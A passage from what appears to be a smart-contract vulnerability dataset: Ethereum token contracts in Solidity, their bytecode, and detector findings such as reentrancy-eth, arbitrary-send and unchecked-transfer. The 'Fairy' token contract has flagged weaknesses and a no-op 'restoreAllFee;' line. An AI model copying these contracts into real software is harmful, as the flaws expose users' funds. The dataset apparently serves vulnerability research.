\/ \/ \/ \/ \/ \/ \/ \*/ | 0x608060405260043610610083576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631b0d3f40146100fc5780632e1530411461012b5780636e72031014610170578063787c35b11461019b578063859326d1146101c6578063ad2176f11461020b578063f13670ee14610250575b600034111561009157600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156100f5576100ef61027b565b506100fa565b600080fd5b005b34801561010857600080fd5b5061011161027b565b604051808215151515815260200191505060405180910390f35b34801561013757600080fd5b506101566004803603810190808035906020019092919050505061070c565b604051808215151515815260200191505060405180910390f35b34801561017c57600080fd5b506101856107c0565b6040518082815260200191505060405180910390f35b3480156101a757600080fd5b506101b06107c8565b6040518082815260200191505060405180910390f35b3480156101d257600080fd5b506101f1600480360381019080803590602001909291905050506107d2565b604051808215151515815260200191505060405180910390f35b34801561021757600080fd5b5061023660048036038101908080359060200190929190505050610980565b604051808215151515815260200191505060405180910390f35b34801561025c57600080fd5b50610265610a07565b6040518082815260200191505060405180910390f35b6000806000610288610a21565b3373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156102e457600080fd5b66038d7ea4c68000915060009050600760009054906101000a900460ff16801561031b5750600760049054906101000a900460ff16155b156103415781810190506001600760046101000a81548160ff0219169083151502179055505b600760019054906101000a900460ff16801561036a5750600760059054906101000a900460ff16155b156103905781810190506001600760056101000a81548160ff0219169083151502179055505b600760029054906101000a900460ff1680156103b95750600760069054906101000a900460ff16155b156103df5781810190506001600760066101000a81548160ff0219169083151502179055505b600760039054906101000a900460ff16801561040757506007809054906101000a900460ff16155b1561042c57818101905060016007806101000a81548160ff0219169083151502179055505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660008282540392505081905550600060065414156105e4576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561058f57600080fd5b505af11580156105a3573d6000803e3d6000fd5b505050506040513d60208110156105b957600080fd5b8101908080519060200190929190505050503073ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106ca57600080fd5b505af11580156106de573d6000803e3d6000fd5b505050506040513d60208110156106f457600080fd5b81019080805190602001909291905050509250505090565b600080600454905060018314801561072a5750600254810190508042115b1561073857600191506107ba565b600283148015610752575060035460025401810190508042115b1561076057600191506107ba565b60038314801561077d575060026003540260025401810190508042115b1561078b57600191506107ba565b6004831480156107a75750600380540260025401810190508042115b156107b557600191506107ba565b600091505b50919050565b600042905090565b6000600454905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816006600082825401925050819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561093e57600080fd5b505af1158015610952573d6000803e3d6000fd5b505050506040513d602081101561096857600080fd5b81019080805190602001909291905050509050919050565b600060018214156109a257600760049054906101000a900460ff169050610a02565b60028214156109c257600760059054906101000a900460ff169050610a02565b60038214156109e257600760069054906101000a900460ff169050610a02565b6004821415610a01576007809054906101000a900460ff169050610a02565b5b919050565b60006402540be400600654811515610a1b57fe5b04905090565b60006004549050600760009054906101000a900460ff16158015610a4b5750600254810190508042115b15610a6c576001600760006101000a81548160ff0219169083151502179055505b600760019054906101000a900460ff16158015610a93575060035460025401810190508042115b15610ab4576001600760016101000a81548160ff0219169083151502179055505b600760029054906101000a900460ff16158015610ade575060026003540260025401810190508042115b15610aff576001600760026101000a81548160ff0219169083151502179055505b600760039054906101000a900460ff16158015610b285750600380540260025401810190508042115b15610b49576001600760036101000a81548160ff0219169083151502179055505b505600a165627a7a72305820f0b15e12b0327a63fcd4c2946b476ff3af34dbcb65d1f97e42b860298497e66c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 368 |
0x8705cf27c69add110561fa376c5bd009a57b7544 | /**
*Submitted for verification at Etherscan.io on 2021-07-25
*/
pragma solidity ^0.8.4;
//SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Fairy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fairy";
string private constant _symbol = "FAIRY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 15;
address payable private _marketingWalletAddress;
address payable public _buyBackWalletAddress;
address payable public _fairyPotWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingWalletAddress, address payable buyBackWalletAddress, address payable fairyPotWalletAddress) {
_marketingWalletAddress = marketingWalletAddress;
_buyBackWalletAddress = buyBackWalletAddress;
_fairyPotWalletAddress = fairyPotWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
_isExcludedFromFee[_buyBackWalletAddress] = true;
_isExcludedFromFee[_fairyPotWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 15;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee;
uint256 contractTokenBalance = balanceOf(address(this));
if (from != owner() && to != owner()) {
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
uint256 baseAmount = amount.div(2);
_marketingWalletAddress.transfer(baseAmount.div(2));
_buyBackWalletAddress.transfer(baseAmount.div(2));
_fairyPotWalletAddress.transfer(baseAmount);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function recoverETH() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806351bc3c851161008a57806395d89b411161005957806395d89b41146102ab578063a9059cbb146102d9578063dd62ed3e146102f9578063e8078d941461033f57600080fd5b806351bc3c851461024357806370a0823114610258578063715018a6146102785780638da5cb5b1461028d57600080fd5b806318160ddd116100c657806318160ddd146101c257806323b872dd146101e7578063277e0ab914610207578063313ce5671461022757600080fd5b80630614117a1461010357806306fdde031461011a578063095ea7b31461015a5780630c7c1baa1461018a57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610354565b005b34801561012657600080fd5b50604080518082019091526005815264466169727960d81b60208201525b60405161015191906114f5565b60405180910390f35b34801561016657600080fd5b5061017a61017536600461147d565b610394565b6040519015158152602001610151565b34801561019657600080fd5b50600c546101aa906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b3480156101ce57600080fd5b506702c68af0bb1400005b604051908152602001610151565b3480156101f357600080fd5b5061017a61020236600461143d565b6103ab565b34801561021357600080fd5b50600b546101aa906001600160a01b031681565b34801561023357600080fd5b5060405160098152602001610151565b34801561024f57600080fd5b50610118610414565b34801561026457600080fd5b506101d96102733660046113cd565b610454565b34801561028457600080fd5b50610118610476565b34801561029957600080fd5b506000546001600160a01b03166101aa565b3480156102b757600080fd5b50604080518082019091526005815264464149525960d81b6020820152610144565b3480156102e557600080fd5b5061017a6102f436600461147d565b6104ea565b34801561030557600080fd5b506101d9610314366004611405565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561034b57600080fd5b506101186104f7565b6000546001600160a01b031633146103875760405162461bcd60e51b815260040161037e90611548565b60405180910390fd5b4761039181610855565b50565b60006103a133848461092a565b5060015b92915050565b60006103b8848484610a4e565b61040a843361040585604051806060016040528060288152602001611687602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cc1565b61092a565b5060019392505050565b6000546001600160a01b0316331461043e5760405162461bcd60e51b815260040161037e90611548565b600061044930610454565b905061039181610cfb565b6001600160a01b0381166000908152600260205260408120546103a590610ea0565b6000546001600160a01b031633146104a05760405162461bcd60e51b815260040161037e90611548565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a1338484610a4e565b6000546001600160a01b031633146105215760405162461bcd60e51b815260040161037e90611548565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561055d30826702c68af0bb14000061092a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561059657600080fd5b505afa1580156105aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ce91906113e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561061657600080fd5b505afa15801561062a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064e91906113e9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561069657600080fd5b505af11580156106aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ce91906113e9565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306106fe81610454565b6000806107136000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561077657600080fd5b505af115801561078a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107af91906114c8565b5050600e805462ff00ff60a01b1981166201000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561081957600080fd5b505af115801561082d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085191906114a8565b5050565b6000610862826002610f24565b600a549091506001600160a01b03166108fc61087f836002610f24565b6040518115909202916000818181858888f193505050501580156108a7573d6000803e3d6000fd5b50600b546001600160a01b03166108fc6108c2836002610f24565b6040518115909202916000818181858888f193505050501580156108ea573d6000803e3d6000fd5b50600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610925573d6000803e3d6000fd5b505050565b6001600160a01b03831661098c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161037e565b6001600160a01b0382166109ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161037e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161037e565b6001600160a01b038216610b145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161037e565b60008111610b765760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161037e565b600080610b8230610454565b9050610b966000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bc557506000546001600160a01b03858116911614155b15610c6157600e54600160a81b900460ff16158015610bf15750600e546001600160a01b038581169116145b8015610c065750600e54600160b01b900460ff165b15610c6157600e54610c3a90606490610c3490600390610c2e906001600160a01b0316610454565b90610f66565b90610f24565b831115610c4657600080fd5b610c4f81610cfb565b478015610c5f57610c5f47610855565b505b6001600160a01b0385166000908152600560205260409020546001925060ff1680610ca457506001600160a01b03841660009081526005602052604090205460ff165b15610cae57600091505b610cba85858585610fe5565b5050505050565b60008184841115610ce55760405162461bcd60e51b815260040161037e91906114f5565b506000610cf28486611644565b95945050505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610da557600080fd5b505afa158015610db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddd91906113e9565b81600181518110610dfe57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d54610e24913091168461092a565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5d90859060009086903090429060040161157d565b600060405180830381600087803b158015610e7757600080fd5b505af1158015610e8b573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000600654821115610f075760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161037e565b6000610f11611017565b9050610f1d8382610f24565b9392505050565b6000610f1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061103a565b600082610f75575060006103a5565b6000610f818385611625565b905082610f8e8583611605565b14610f1d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161037e565b80610ff257610ff2611068565b610ffd84848461108b565b80611011576110116005600855600f600955565b50505050565b6000806000611024611182565b90925090506110338282610f24565b9250505090565b6000818361105b5760405162461bcd60e51b815260040161037e91906114f5565b506000610cf28486611605565b6008541580156110785750600954155b1561107f57565b60006008819055600955565b60008060008060008061109d876111c2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110cf908761121f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110fe9086611261565b6001600160a01b038916600090815260026020526040902055611120816112c0565b61112a848361130a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161116f91815260200190565b60405180910390a3505050505050505050565b60065460009081906702c68af0bb14000061119d8282610f24565b8210156111b9575050600654926702c68af0bb14000092509050565b90939092509050565b60008060008060008060008060006111df8a60085460095461132e565b92509250925060006111ef611017565b905060008060006112028e87878761137d565b919e509c509a509598509396509194505050505091939550919395565b6000610f1d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc1565b60008061126e83856115ed565b905083811015610f1d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161037e565b60006112ca611017565b905060006112d88383610f66565b306000908152600260205260409020549091506112f59082611261565b30600090815260026020526040902055505050565b600654611317908361121f565b6006556007546113279082611261565b6007555050565b60008080806113426064610c348989610f66565b905060006113556064610c348a89610f66565b9050600061136d826113678b8661121f565b9061121f565b9992985090965090945050505050565b600080808061138c8886610f66565b9050600061139a8887610f66565b905060006113a88888610f66565b905060006113ba82611367868661121f565b939b939a50919850919650505050505050565b6000602082840312156113de578081fd5b8135610f1d81611671565b6000602082840312156113fa578081fd5b8151610f1d81611671565b60008060408385031215611417578081fd5b823561142281611671565b9150602083013561143281611671565b809150509250929050565b600080600060608486031215611451578081fd5b833561145c81611671565b9250602084013561146c81611671565b929592945050506040919091013590565b6000806040838503121561148f578182fd5b823561149a81611671565b946020939093013593505050565b6000602082840312156114b9578081fd5b81518015158114610f1d578182fd5b6000806000606084860312156114dc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561152157858101830151858201604001528201611505565b818111156115325783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156115cc5784516001600160a01b0316835293830193918301916001016115a7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116005761160061165b565b500190565b60008261162057634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561163f5761163f61165b565b500290565b6000828210156116565761165661165b565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461039157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220056d4232647f1be10de11cd54a43e4b7ce91f57230d041fbc8b58d129851bd9264736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 369 |
0x647f24fc14b75335adf97eb9792ce004471bf35a | pragma solidity ^0.4.18;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert_ex(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert_ex(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert_ex(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert_ex(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert_ex(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function assert_ex(bool assert_exion) internal pure{
if (!assert_exion) {
revert();
}
}
}
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract ERC20Interface {
using SafeMath for uint;
uint public _totalSupply;
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
/**
* Set allowed for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint _value) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowed to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) {
revert();
}
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
/**
* Atomic increment of approved spending
*
* Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
*/
function addApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* Atomic decrement of approved spending.
*
* Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*/
function subApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
event TokenFallback(address _from, uint _value, bytes _data);
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data)public {
TokenFallback(_from,_value,_data);
}
}
contract StanderdToken is ERC20Interface, ERC223ReceivingContract, Owned {
/**
*
* Fix for the ERC20 short address attack
*
* http://vessenes.com/the-erc20-short-address-attack-explained/
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
revert();
}
_;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
